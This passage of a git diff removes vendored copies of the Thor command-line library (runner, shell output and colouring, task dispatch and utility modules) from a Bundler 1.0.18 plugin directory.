-        Thor::Util.load_thorfile(f, nil, options[:debug]) unless Thor::Base.subclass_files.keys.include?(File.expand_path(f))
-      end
-    end
-
-    # Finds Thorfiles by traversing from your current directory down to the root
-    # directory of your system. If at any time we find a Thor file, we stop.
-    #
-    # We also ensure that system-wide Thorfiles are loaded first, so local
-    # Thorfiles can override them.
-    #
-    # ==== Example
-    #
-    # If we start at /Users/wycats/dev/thor ...
-    #
-    # 1. /Users/wycats/dev/thor
-    # 2. /Users/wycats/dev
-    # 3. /Users/wycats <-- we find a Thorfile here, so we stop
-    #
-    # Suppose we start at c:\Documents and Settings\james\dev\thor ...
-    #
-    # 1. c:\Documents and Settings\james\dev\thor
-    # 2. c:\Documents and Settings\james\dev
-    # 3. c:\Documents and Settings\james
-    # 4. c:\Documents and Settings
-    # 5. c:\ <-- no Thorfiles found!
-    #
-    def thorfiles(relevant_to=nil, skip_lookup=false)
-      thorfiles = []
-
-      unless skip_lookup
-        Pathname.pwd.ascend do |path|
-          thorfiles = Thor::Util.globs_for(path).map { |g| Dir[g] }.flatten
-          break unless thorfiles.empty?
-        end
-      end
-
-      files  = (relevant_to ? thorfiles_relevant_to(relevant_to) : Thor::Util.thor_root_glob)
-      files += thorfiles
-      files -= ["#{thor_root}/thor.yml"]
-
-      files.map! do |file|
-        File.directory?(file) ? File.join(file, "main.thor") : file
-      end
-    end
-
-    # Load thorfiles relevant to the given method. If you provide "foo:bar" it
-    # will load all thor files in the thor.yaml that has "foo" e "foo:bar"
-    # namespaces registered.
-    #
-    def thorfiles_relevant_to(meth)
-      lookup = [ meth, meth.split(":")[0...-1].join(":") ]
-
-      files = thor_yaml.select do |k, v|
-        v[:namespaces] && !(v[:namespaces] & lookup).empty?
-      end
-
-      files.map { |k, v| File.join(thor_root, "#{v[:filename]}") }
-    end
-
-    # Display information about the given klasses. If with_module is given,
-    # it shows a table with information extracted from the yaml file.
-    #
-    def display_klasses(with_modules=false, show_internal=false, klasses=Thor::Base.subclasses)
-      klasses -= [Thor, Thor::Runner, Thor::Group] unless show_internal
-
-      raise Error, "No Thor tasks available" if klasses.empty?
-      show_modules if with_modules && !thor_yaml.empty?
-
-      list = Hash.new { |h,k| h[k] = [] }
-      groups = klasses.select { |k| k.ancestors.include?(Thor::Group) }
-
-      # Get classes which inherit from Thor
-      (klasses - groups).each { |k| list[k.namespace.split(":").first] += k.printable_tasks(false) }
-
-      # Get classes which inherit from Thor::Base
-      groups.map! { |k| k.printable_tasks(false).first }
-      list["root"] = groups
-
-      # Order namespaces with default coming first
-      list = list.sort{ |a,b| a[0].sub(/^default/, '') <=> b[0].sub(/^default/, '') }
-      list.each { |n, tasks| display_tasks(n, tasks) unless tasks.empty? }
-    end
-
-    def display_tasks(namespace, list) #:nodoc:
-      list.sort!{ |a,b| a[0] <=> b[0] }
-
-      say shell.set_color(namespace, :blue, true)
-      say "-" * namespace.size
-
-      print_table(list, :truncate => true)
-      say
-    end
-
-    def show_modules #:nodoc:
-      info  = []
-      labels = ["Modules", "Namespaces"]
-
-      info << labels
-      info << [ "-" * labels[0].size, "-" * labels[1].size ]
-
-      thor_yaml.each do |name, hash|
-        info << [ name, hash[:namespaces].join(", ") ]
-      end
-
-      print_table info
-      say ""
-    end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell.rb
deleted file mode 100644
index b52c9da2..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-require 'rbconfig'
-
-class Thor
-  module Base
-    # Returns the shell used in all Thor classes. If you are in a Unix platform
-    # it will use a colored log, otherwise it will use a basic one without color.
-    #
-    def self.shell
-      @shell ||= if ENV['THOR_SHELL'] && ENV['THOR_SHELL'].size > 0
-        Thor::Shell.const_get(ENV['THOR_SHELL'])
-      elsif RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
-        Thor::Shell::Basic
-      else
-        Thor::Shell::Color
-      end
-    end
-
-    # Sets the shell used in all Thor classes.
-    #
-    def self.shell=(klass)
-      @shell = klass
-    end
-  end
-
-  module Shell
-    SHELL_DELEGATED_METHODS = [:ask, :yes?, :no?, :say, :say_status, :print_table]
-
-    autoload :Basic, 'thor/shell/basic'
-    autoload :Color, 'thor/shell/color'
-    autoload :HTML,  'thor/shell/html'
-
-    # Add shell to initialize config values.
-    #
-    # ==== Configuration
-    # shell<Object>:: An instance of the shell to be used.
-    #
-    # ==== Examples
-    #
-    #   class MyScript < Thor
-    #     argument :first, :type => :numeric
-    #   end
-    #
-    #   MyScript.new [1.0], { :foo => :bar }, :shell => Thor::Shell::Basic.new
-    #
-    def initialize(args=[], options={}, config={})
-      super
-      self.shell = config[:shell]
-      self.shell.base ||= self if self.shell.respond_to?(:base)
-    end
-
-    # Holds the shell for the given Thor instance. If no shell is given,
-    # it gets a default shell from Thor::Base.shell.
-    def shell
-      @shell ||= Thor::Base.shell.new
-    end
-
-    # Sets the shell for this thor class.
-    def shell=(shell)
-      @shell = shell
-    end
-
-    # Common methods that are delegated to the shell.
-    SHELL_DELEGATED_METHODS.each do |method|
-      module_eval <<-METHOD, __FILE__, __LINE__
-        def #{method}(*args)
-          shell.#{method}(*args)
-        end
-      METHOD
-    end
-
-    # Yields the given block with padding.
-    def with_padding
-      shell.padding += 1
-      yield
-    ensure
-      shell.padding -= 1
-    end
-
-    protected
-
-      # Allow shell to be shared between invocations.
-      #
-      def _shared_configuration #:nodoc:
-        super.merge!(:shell => self.shell)
-      end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/basic.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/basic.rb
deleted file mode 100644
index c8411d3d..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/basic.rb
+++ /dev/null
@@ -1,302 +0,0 @@
-require 'tempfile'
-
-class Thor
-  module Shell
-    class Basic
-      attr_accessor :base, :padding
-
-      # Initialize base and padding to nil.
-      #
-      def initialize #:nodoc:
-        @base, @padding = nil, 0
-      end
-
-      # Mute everything that's inside given block
-      #
-      def mute
-        @mute = true
-        yield
-      ensure
-        @mute = false
-      end
-
-      # Check if base is muted
-      #
-      def mute?
-        @mute
-      end
-
-      # Sets the output padding, not allowing less than zero values.
-      #
-      def padding=(value)
-        @padding = [0, value].max
-      end
-
-      # Ask something to the user and receives a response.
-      #
-      # ==== Example
-      # ask("What is your name?")
-      #
-      def ask(statement, color=nil)
-        say("#{statement} ", color)
-        stdin.gets.strip
-      end
-
-      # Say (print) something to the user. If the sentence ends with a whitespace
-      # or tab character, a new line is not appended (print + flush). Otherwise
-      # are passed straight to puts (behavior got from Highline).
-      #
-      # ==== Example
-      # say("I know you knew that.")
-      #
-      def say(message="", color=nil, force_new_line=(message.to_s !~ /( |\t)$/))
-        message = message.to_s
-        message = set_color(message, color) if color
-
-        spaces = "  " * padding
-
-        if force_new_line
-          stdout.puts(spaces + message)
-        else
-          stdout.print(spaces + message)
-        end
-        stdout.flush
-      end
-
-      # Say a status with the given color and appends the message. Since this
-      # method is used frequently by actions, it allows nil or false to be given
-      # in log_status, avoiding the message from being shown. If a Symbol is
-      # given in log_status, it's used as the color.
-      #
-      def say_status(status, message, log_status=true)
-        return if quiet? || log_status == false
-        spaces = "  " * (padding + 1)
-        color  = log_status.is_a?(Symbol) ? log_status : :green
-
-        status = status.to_s.rjust(12)
-        status = set_color status, color, true if color
-
-        stdout.puts "#{status}#{spaces}#{message}"
-        stdout.flush
-      end
-
-      # Make a question the to user and returns true if the user replies "y" or
-      # "yes".
-      #
-      def yes?(statement, color=nil)
-        !!(ask(statement, color) =~ is?(:yes))
-      end
-
-      # Make a question the to user and returns true if the user replies "n" or
-      # "no".
-      #
-      def no?(statement, color=nil)
-        !yes?(statement, color)
-      end
-
-      # Prints a table.
-      #
-      # ==== Parameters
-      # Array[Array[String, String, ...]]
-      #
-      # ==== Options
-      # ident<Integer>:: Indent the first column by ident value.
-      # colwidth<Integer>:: Force the first column to colwidth spaces wide.
-      #
-      def print_table(table, options={})
-        return if table.empty?
-
-        formats, ident, colwidth = [], options[:ident].to_i, options[:colwidth]
-        options[:truncate] = terminal_width if options[:truncate] == true
-
-        formats << "%-#{colwidth + 2}s" if colwidth
-        start = colwidth ? 1 : 0
-
-        start.upto(table.first.length - 2) do |i|
-          maxima ||= table.max{|a,b| a[i].size <=> b[i].size }[i].size
-          formats << "%-#{maxima + 2}s"
-        end
-
-        formats[0] = formats[0].insert(0, " " * ident)
-        formats << "%s"
-
-        table.each do |row|
-          sentence = ""
-
-          row.each_with_index do |column, i|
-            sentence << formats[i] % column.to_s
-          end
-
-          sentence = truncate(sentence, options[:truncate]) if options[:truncate]
-          stdout.puts sentence
-        end
-      end
-
-      # Prints a long string, word-wrapping the text to the current width of the
-      # terminal display. Ideal for printing heredocs.
-      #
-      # ==== Parameters
-      # String
-      #
-      # ==== Options
-      # ident<Integer>:: Indent each line of the printed paragraph by ident value.
-      #
-      def print_wrapped(message, options={})
-        ident = options[:ident] || 0
-        width = terminal_width - ident
-        paras = message.split("\n\n")
-
-        paras.map! do |unwrapped|
-          unwrapped.strip.gsub(/\n/, " ").squeeze(" ").
-          gsub(/.{1,#{width}}(?:\s|\Z)/){($& + 5.chr).
-          gsub(/\n\005/,"\n").gsub(/\005/,"\n")}
-        end
-
-        paras.each do |para|
-          para.split("\n").each do |line|
-            stdout.puts line.insert(0, " " * ident)
-          end
-          stdout.puts unless para == paras.last
-        end
-      end
-
-      # Deals with file collision and returns true if the file should be
-      # overwriten and false otherwise. If a block is given, it uses the block
-      # response as the content for the diff.
-      #
-      # ==== Parameters
-      # destination<String>:: the destination file to solve conflicts
-      # block<Proc>:: an optional block that returns the value to be used in diff
-      #
-      def file_collision(destination)
-        return true if @always_force
-        options = block_given? ? "[Ynaqdh]" : "[Ynaqh]"
-
-        while true
-          answer = ask %[Overwrite #{destination}? (enter "h" for help) #{options}]
-
-          case answer
-            when is?(:yes), is?(:force), ""
-              return true
-            when is?(:no), is?(:skip)
-              return false
-            when is?(:always)
-              return @always_force = true
-            when is?(:quit)
-              say 'Aborting...'
-              raise SystemExit
-            when is?(:diff)
-              show_diff(destination, yield) if block_given?
-              say 'Retrying...'
-            else
-              say file_collision_help
-          end
-        end
-      end
-
-      # Called if something goes wrong during the execution. This is used by Thor
-      # internally and should not be used inside your scripts. If something went
-      # wrong, you can always raise an exception. If you raise a Thor::Error, it
-      # will be rescued and wrapped in the method below.
-      #
-      def error(statement)
-        stderr.puts statement
-      end
-
-      # Apply color to the given string with optional bold. Disabled in the
-      # Thor::Shell::Basic class.
-      #
-      def set_color(string, color, bold=false) #:nodoc:
-        string
-      end
-
-      protected
-
-        def stdout
-          $stdout
-        end
-
-        def stdin
-          $stdin
-        end
-
-        def stderr
-          $stderr
-        end
-
-        def is?(value) #:nodoc:
-          value = value.to_s
-
-          if value.size == 1
-            /\A#{value}\z/i
-          else
-            /\A(#{value}|#{value[0,1]})\z/i
-          end
-        end
-
-        def file_collision_help #:nodoc:
-<<HELP
-Y - yes, overwrite
-n - no, do not overwrite
-a - all, overwrite this and all others
-q - quit, abort
-d - diff, show the differences between the old and the new
-h - help, show this help
-HELP
-        end
-
-        def show_diff(destination, content) #:nodoc:
-          diff_cmd = ENV['THOR_DIFF'] || ENV['RAILS_DIFF'] || 'diff -u'
-
-          Tempfile.open(File.basename(destination), File.dirname(destination)) do |temp|
-            temp.write content
-            temp.rewind
-            system %(#{diff_cmd} "#{destination}" "#{temp.path}")
-          end
-        end
-
-        def quiet? #:nodoc:
-          mute? || (base && base.options[:quiet])
-        end
-
-        # This code was copied from Rake, available under MIT-LICENSE
-        # Copyright (c) 2003, 2004 Jim Weirich
-        def terminal_width
-          if ENV['THOR_COLUMNS']
-            result = ENV['THOR_COLUMNS'].to_i
-          else
-            result = unix? ? dynamic_width : 80
-          end
-          (result < 10) ? 80 : result
-        rescue
-          80
-        end
-
-        # Calculate the dynamic width of the terminal
-        def dynamic_width
-          @dynamic_width ||= (dynamic_width_stty.nonzero? || dynamic_width_tput)
-        end
-
-        def dynamic_width_stty
-          %x{stty size 2>/dev/null}.split[1].to_i
-        end
-
-        def dynamic_width_tput
-          %x{tput cols 2>/dev/null}.to_i
-        end
-
-        def unix?
-          RUBY_PLATFORM =~ /(aix|darwin|linux|(net|free|open)bsd|cygwin|solaris|irix|hpux)/i
-        end
-
-        def truncate(string, width)
-          if string.length <= width
-            string
-          else
-            ( string[0, width-3] || "" ) + "..."
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/color.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/color.rb
deleted file mode 100644
index b2bc66df..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/color.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-require 'thor/shell/basic'
-
-class Thor
-  module Shell
-    # Inherit from Thor::Shell::Basic and add set_color behavior. Check
-    # Thor::Shell::Basic to see all available methods.
-    #
-    class Color < Basic
-      # Embed in a String to clear all previous ANSI sequences.
-      CLEAR      = "\e[0m"
-      # The start of an ANSI bold sequence.
-      BOLD       = "\e[1m"
-
-      # Set the terminal's foreground ANSI color to black.
-      BLACK      = "\e[30m"
-      # Set the terminal's foreground ANSI color to red.
-      RED        = "\e[31m"
-      # Set the terminal's foreground ANSI color to green.
-      GREEN      = "\e[32m"
-      # Set the terminal's foreground ANSI color to yellow.
-      YELLOW     = "\e[33m"
-      # Set the terminal's foreground ANSI color to blue.
-      BLUE       = "\e[34m"
-      # Set the terminal's foreground ANSI color to magenta.
-      MAGENTA    = "\e[35m"
-      # Set the terminal's foreground ANSI color to cyan.
-      CYAN       = "\e[36m"
-      # Set the terminal's foreground ANSI color to white.
-      WHITE      = "\e[37m"
-
-      # Set the terminal's background ANSI color to black.
-      ON_BLACK   = "\e[40m"
-      # Set the terminal's background ANSI color to red.
-      ON_RED     = "\e[41m"
-      # Set the terminal's background ANSI color to green.
-      ON_GREEN   = "\e[42m"
-      # Set the terminal's background ANSI color to yellow.
-      ON_YELLOW  = "\e[43m"
-      # Set the terminal's background ANSI color to blue.
-      ON_BLUE    = "\e[44m"
-      # Set the terminal's background ANSI color to magenta.
-      ON_MAGENTA = "\e[45m"
-      # Set the terminal's background ANSI color to cyan.
-      ON_CYAN    = "\e[46m"
-      # Set the terminal's background ANSI color to white.
-      ON_WHITE   = "\e[47m"
-
-      # Set color by using a string or one of the defined constants. If a third
-      # option is set to true, it also adds bold to the string. This is based
-      # on Highline implementation and it automatically appends CLEAR to the end
-      # of the returned String.
-      #
-      def set_color(string, color, bold=false)
-        color = self.class.const_get(color.to_s.upcase) if color.is_a?(Symbol)
-        bold  = bold ? BOLD : ""
-        "#{bold}#{color}#{string}#{CLEAR}"
-      end
-
-      protected
-
-        # Overwrite show_diff to show diff with colors if Diff::LCS is
-        # available.
-        #
-        def show_diff(destination, content) #:nodoc:
-          if diff_lcs_loaded? && ENV['THOR_DIFF'].nil? && ENV['RAILS_DIFF'].nil?
-            actual  = File.binread(destination).to_s.split("\n")
-            content = content.to_s.split("\n")
-
-            Diff::LCS.sdiff(actual, content).each do |diff|
-              output_diff_line(diff)
-            end
-          else
-            super
-          end
-        end
-
-        def output_diff_line(diff) #:nodoc:
-          case diff.action
-            when '-'
-              say "- #{diff.old_element.chomp}", :red, true
-            when '+'
-              say "+ #{diff.new_element.chomp}", :green, true
-            when '!'
-              say "- #{diff.old_element.chomp}", :red, true
-              say "+ #{diff.new_element.chomp}", :green, true
-            else
-              say "  #{diff.old_element.chomp}", nil, true
-          end
-        end
-
-        # Check if Diff::LCS is loaded. If it is, use it to create pretty output
-        # for diff.
-        #
-        def diff_lcs_loaded? #:nodoc:
-          return true  if defined?(Diff::LCS)
-          return @diff_lcs_loaded unless @diff_lcs_loaded.nil?
-
-          @diff_lcs_loaded = begin
-            require 'diff/lcs'
-            true
-          rescue LoadError
-            false
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/html.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/html.rb
deleted file mode 100644
index d1952862..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/shell/html.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'thor/shell/basic'
-
-class Thor
-  module Shell
-    # Inherit from Thor::Shell::Basic and add set_color behavior. Check
-    # Thor::Shell::Basic to see all available methods.
-    #
-    class HTML < Basic
-      # The start of an HTML bold sequence.
-      BOLD       = "<strong>"
-      # The end of an HTML bold sequence.
-      END_BOLD   = "</strong>"
-
-      # Embed in a String to clear previous color selection.
-      CLEAR      = "</span>"
-
-      # Set the terminal's foreground HTML color to black.
-      BLACK      = '<span style="color: black;">'
-      # Set the terminal's foreground HTML color to red.
-      RED        = '<span style="color: red;">'
-      # Set the terminal's foreground HTML color to green.
-      GREEN      = '<span style="color: green;">'
-      # Set the terminal's foreground HTML color to yellow.
-      YELLOW     = '<span style="color: yellow;">'
-      # Set the terminal's foreground HTML color to blue.
-      BLUE       = '<span style="color: blue;">'
-      # Set the terminal's foreground HTML color to magenta.
-      MAGENTA    = '<span style="color: magenta;">'
-      # Set the terminal's foreground HTML color to cyan.
-      CYAN       = '<span style="color: cyan;">'
-      # Set the terminal's foreground HTML color to white.
-      WHITE      = '<span style="color: white;">'
-
-      # Set the terminal's background HTML color to black.
-      ON_BLACK   = '<span style="background-color: black">'
-      # Set the terminal's background HTML color to red.
-      ON_RED     = '<span style="background-color: red">'
-      # Set the terminal's background HTML color to green.
-      ON_GREEN   = '<span style="background-color: green">'
-      # Set the terminal's background HTML color to yellow.
-      ON_YELLOW  = '<span style="background-color: yellow">'
-      # Set the terminal's background HTML color to blue.
-      ON_BLUE    = '<span style="background-color: blue">'
-      # Set the terminal's background HTML color to magenta.
-      ON_MAGENTA = '<span style="background-color: magenta">'
-      # Set the terminal's background HTML color to cyan.
-      ON_CYAN    = '<span style="background-color: cyan">'
-      # Set the terminal's background HTML color to white.
-      ON_WHITE   = '<span style="background-color: white">'
-
-      # Set color by using a string or one of the defined constants. If a third
-      # option is set to true, it also adds bold to the string. This is based
-      # on Highline implementation and it automatically appends CLEAR to the end
-      # of the returned String.
-      #
-      def set_color(string, color, bold=false)
-        color = self.class.const_get(color.to_s.upcase) if color.is_a?(Symbol)
-        bold, end_bold = bold ? [BOLD, END_BOLD] : ['', '']
-        "#{bold}#{color}#{string}#{CLEAR}#{end_bold}"
-      end
-
-      # Ask something to the user and receives a response.
-      #
-      # ==== Example
-      # ask("What is your name?")
-      #
-      # TODO: Implement #ask for Thor::Shell::HTML
-      def ask(statement, color=nil)
-        raise NotImplementedError, "Implement #ask for Thor::Shell::HTML"
-      end
-
-      protected
-
-        # Overwrite show_diff to show diff with colors if Diff::LCS is
-        # available.
-        #
-        def show_diff(destination, content) #:nodoc:
-          if diff_lcs_loaded? && ENV['THOR_DIFF'].nil? && ENV['RAILS_DIFF'].nil?
-            actual  = File.binread(destination).to_s.split("\n")
-            content = content.to_s.split("\n")
-
-            Diff::LCS.sdiff(actual, content).each do |diff|
-              output_diff_line(diff)
-            end
-          else
-            super
-          end
-        end
-
-        def output_diff_line(diff) #:nodoc:
-          case diff.action
-            when '-'
-              say "- #{diff.old_element.chomp}", :red, true
-            when '+'
-              say "+ #{diff.new_element.chomp}", :green, true
-            when '!'
-              say "- #{diff.old_element.chomp}", :red, true
-              say "+ #{diff.new_element.chomp}", :green, true
-            else
-              say "  #{diff.old_element.chomp}", nil, true
-          end
-        end
-
-        # Check if Diff::LCS is loaded. If it is, use it to create pretty output
-        # for diff.
-        #
-        def diff_lcs_loaded? #:nodoc:
-          return true  if defined?(Diff::LCS)
-          return @diff_lcs_loaded unless @diff_lcs_loaded.nil?
-
-          @diff_lcs_loaded = begin
-            require 'diff/lcs'
-            true
-          rescue LoadError
-            false
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/task.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/task.rb
deleted file mode 100644
index 6db3b608..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/task.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-class Thor
-  class Task < Struct.new(:name, :description, :long_description, :usage, :options)
-    FILE_REGEXP = /^#{Regexp.escape(File.dirname(__FILE__))}/
-
-    def initialize(name, description, long_description, usage, options=nil)
-      super(name.to_s, description, long_description, usage, options || {})
-    end
-
-    def initialize_copy(other) #:nodoc:
-      super(other)
-      self.options = other.options.dup if other.options
-    end
-
-    def hidden?
-      false
-    end
-
-    # By default, a task invokes a method in the thor class. You can change this
-    # implementation to create custom tasks.
-    def run(instance, args=[])
-      public_method?(instance) ?
-        instance.send(name, *args) : instance.class.handle_no_task_error(name)
-    rescue ArgumentError => e
-      handle_argument_error?(instance, e, caller) ?
-        instance.class.handle_argument_error(self, e) : (raise e)
-    rescue NoMethodError => e
-      handle_no_method_error?(instance, e, caller) ?
-        instance.class.handle_no_task_error(name) : (raise e)
-    end
-
-    # Returns the formatted usage by injecting given required arguments
-    # and required options into the given usage.
-    def formatted_usage(klass, namespace = true, subcommand = false)
-      if namespace
-        namespace = klass.namespace
-        formatted = "#{namespace.gsub(/^(default)/,'')}:"
-        formatted.sub!(/.$/, ' ') if subcommand
-      end
-
-      formatted ||= ""
-
-      # Add usage with required arguments
-      formatted << if klass && !klass.arguments.empty?
-        usage.to_s.gsub(/^#{name}/) do |match|
-          match << " " << klass.arguments.map{ |a| a.usage }.compact.join(' ')
-        end
-      else
-        usage.to_s
-      end
-
-      # Add required options
-      formatted << " #{required_options}"
-
-      # Strip and go!
-      formatted.strip
-    end
-
-  protected
-
-    def not_debugging?(instance)
-      !(instance.class.respond_to?(:debugging) && instance.class.debugging)
-    end
-
-    def required_options
-      @required_options ||= options.map{ |_, o| o.usage if o.required? }.compact.sort.join(" ")
-    end
-
-    # Given a target, checks if this class name is a public method.
-    def public_method?(instance) #:nodoc:
-      !(instance.public_methods & [name.to_s, name.to_sym]).empty?
-    end
-
-    def sans_backtrace(backtrace, caller) #:nodoc:
-      saned  = backtrace.reject { |frame| frame =~ FILE_REGEXP }
-      saned -= caller
-    end
-
-    def handle_argument_error?(instance, error, caller)
-      not_debugging?(instance) && error.message =~ /wrong number of arguments/ && begin
-        saned = sans_backtrace(error.backtrace, caller)
-        # Ruby 1.9 always include the called method in the backtrace
-        saned.empty? || (saned.size == 1 && RUBY_VERSION >= "1.9")
-      end
-    end
-
-    def handle_no_method_error?(instance, error, caller)
-      not_debugging?(instance) &&
-        error.message =~ /^undefined method `#{name}' for #{Regexp.escape(instance.to_s)}$/
-    end
-  end
-
-  # A task that is hidden in help messages but still invocable.
-  class HiddenTask < Task
-    def hidden?
-      true
-    end
-  end
-
-  # A dynamic task that handles method missing scenarios.
-  class DynamicTask < Task
-    def initialize(name, options=nil)
-      super(name.to_s, "A dynamically-generated task", name.to_s, name.to_s, options)
-    end
-
-    def run(instance, args=[])
-      if (instance.methods & [name.to_s, name.to_sym]).empty?
-        super
-      else
-        instance.class.handle_no_task_error(name)
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/util.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/util.rb
deleted file mode 100644
index 275a30bf..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/util.rb
+++ /dev/null
@@ -1,229 +0,0 @@
-require 'rbconfig'
-
-class Thor
-  module Sandbox #:nodoc:
-  end
-
-  # This module holds several utilities:
-  #
-  # 1) Methods to convert thor namespaces to constants and vice-versa.
-  #
-  #   Thor::Util.namespace_from_thor_class(Foo::Bar::Baz) #=> "foo:bar:baz"
-  #
-  # 2) Loading thor files and sandboxing:
-  #
-  #   Thor::Util.load_thorfile("~/.thor/foo")
-  #
-  module Util
-
-    # Receives a namespace and search for it in the Thor::Base subclasses.
-    #
-    # ==== Parameters
-    # namespace<String>:: The namespace to search for.
-    #
-    def self.find_by_namespace(namespace)
-      namespace = "default#{namespace}" if namespace.empty? || namespace =~ /^:/
-      Thor::Base.subclasses.find { |klass| klass.namespace == namespace }
-    end
-
-    # Receives a constant and converts it to a Thor namespace. Since Thor tasks
-    # can be added to a sandbox, this method is also responsable for removing
-    # the sandbox namespace.
-    #
-    # This method should not be used in general because it's used to deal with
-    # older versions of Thor. On current versions, if you need to get the
-    # namespace from a class, just call namespace on it.
-    #
-    # ==== Parameters
-    # constant<Object>:: The constant to be converted to the thor path.
-    #
-    # ==== Returns
-    # String:: If we receive Foo::Bar::Baz it returns "foo:bar:baz"
-    #
-    def self.namespace_from_thor_class(constant)
-      constant = constant.to_s.gsub(/^Thor::Sandbox::/, "")
-      constant = snake_case(constant).squeeze(":")
-      constant
-    end
-
-    # Given the contents, evaluate it inside the sandbox and returns the
-    # namespaces defined in the sandbox.
-    #
-    # ==== Parameters
-    # contents<String>
-    #
-    # ==== Returns
-    # Array[Object]
-    #
-    def self.namespaces_in_content(contents, file=__FILE__)
-      old_constants = Thor::Base.subclasses.dup
-      Thor::Base.subclasses.clear
-
-      load_thorfile(file, contents)
-
-      new_constants = Thor::Base.subclasses.dup
-      Thor::Base.subclasses.replace(old_constants)
-
-      new_constants.map!{ |c| c.namespace }
-      new_constants.compact!
-      new_constants
-    end
-
-    # Returns the thor classes declared inside the given class.
-    #
-    def self.thor_classes_in(klass)
-      stringfied_constants = klass.constants.map { |c| c.to_s }
-      Thor::Base.subclasses.select do |subclass|
-        next unless subclass.name
-        stringfied_constants.include?(subclass.name.gsub("#{klass.name}::", ''))
-      end
-    end
-
-    # Receives a string and convert it to snake case. SnakeCase returns snake_case.
-    #
-    # ==== Parameters
-    # String
-    #
-    # ==== Returns
-    # String
-    #
-    def self.snake_case(str)
-      return str.downcase if str =~ /^[A-Z_]+$/
-      str.gsub(/\B[A-Z]/, '_\&').squeeze('_') =~ /_*(.*)/
-      return $+.downcase
-    end
-
-    # Receives a string and convert it to camel case. camel_case returns CamelCase.
-    #
-    # ==== Parameters
-    # String
-    #
-    # ==== Returns
-    # String
-    #
-    def self.camel_case(str)
-      return str if str !~ /_/ && str =~ /[A-Z]+.*/
-      str.split('_').map { |i| i.capitalize }.join
-    end
-
-    # Receives a namespace and tries to retrieve a Thor or Thor::Group class
-    # from it. It first searches for a class using the all the given namespace,
-    # if it's not found, removes the highest entry and searches for the class
-    # again. If found, returns the highest entry as the class name.
-    #
-    # ==== Examples
-    #
-    #   class Foo::Bar < Thor
-    #     def baz
-    #     end
-    #   end
-    #
-    #   class Baz::Foo < Thor::Group
-    #   end
-    #
-    #   Thor::Util.namespace_to_thor_class("foo:bar")     #=> Foo::Bar, nil # will invoke default task
-    #   Thor::Util.namespace_to_thor_class("baz:foo")     #=> Baz::Foo, nil
-    #   Thor::Util.namespace_to_thor_class("foo:bar:baz") #=> Foo::Bar, "baz"
-    #
-    # ==== Parameters
-    # namespace<String>
-    #
-    def self.find_class_and_task_by_namespace(namespace, fallback = true)
-      if namespace.include?(?:) # look for a namespaced task
-        pieces = namespace.split(":")
-        task   = pieces.pop
-        klass  = Thor::Util.find_by_namespace(pieces.join(":"))
-      end
-      unless klass # look for a Thor::Group with the right name
-        klass, task = Thor::Util.find_by_namespace(namespace), nil
-      end
-      if !klass && fallback # try a task in the default namespace
-        task = namespace
-        klass = Thor::Util.find_by_namespace('')
-      end
-      return klass, task
-    end
-
-    # Receives a path and load the thor file in the path. The file is evaluated
-    # inside the sandbox to avoid namespacing conflicts.
-    #
-    def self.load_thorfile(path, content=nil, debug=false)
-      content ||= File.binread(path)
-
-      begin
-        Thor::Sandbox.class_eval(content, path)
-      rescue Exception => e
-        $stderr.puts "WARNING: unable to load thorfile #{path.inspect}: #{e.message}"
-        if debug
-          $stderr.puts *e.backtrace
-        else
-          $stderr.puts e.backtrace.first
-        end
-      end
-    end
-
-    def self.user_home
-      @@user_home ||= if ENV["HOME"]
-        ENV["HOME"]
-      elsif ENV["USERPROFILE"]
-        ENV["USERPROFILE"]
-      elsif ENV["HOMEDRIVE"] && ENV["HOMEPATH"]
-        File.join(ENV["HOMEDRIVE"], ENV["HOMEPATH"])
-      elsif ENV["APPDATA"]
-        ENV["APPDATA"]
-      else
-        begin
-          File.expand_path("~")
-        rescue
-          if File::ALT_SEPARATOR
-            "C:/"
-          else
-            "/"
-          end
-        end
-      end
-    end
-
-    # Returns the root where thor files are located, dependending on the OS.
-    #
-    def self.thor_root
-      File.join(user_home, ".thor").gsub(/\\/, '/')
-    end
-
-    # Returns the files in the thor root. On Windows thor_root will be something
-    # like this:
-    #
-    #   C:\Documents and Settings\james\.thor
-    #
-    # If we don't #gsub the \ character, Dir.glob will fail.
-    #
-    def self.thor_root_glob
-      files = Dir["#{thor_root}/*"]
-
-      files.map! do |file|
-        File.directory?(file) ? File.join(file, "main.thor") : file
-      end
-    end
-
-    # Where to look for Thor files.
-    #
-    def self.globs_for(path)
-      ["#{path}/Thorfile", "#{path}/*.thor", "#{path}/tasks/*.thor", "#{path}/lib/tasks/*.thor"]
-    end
-
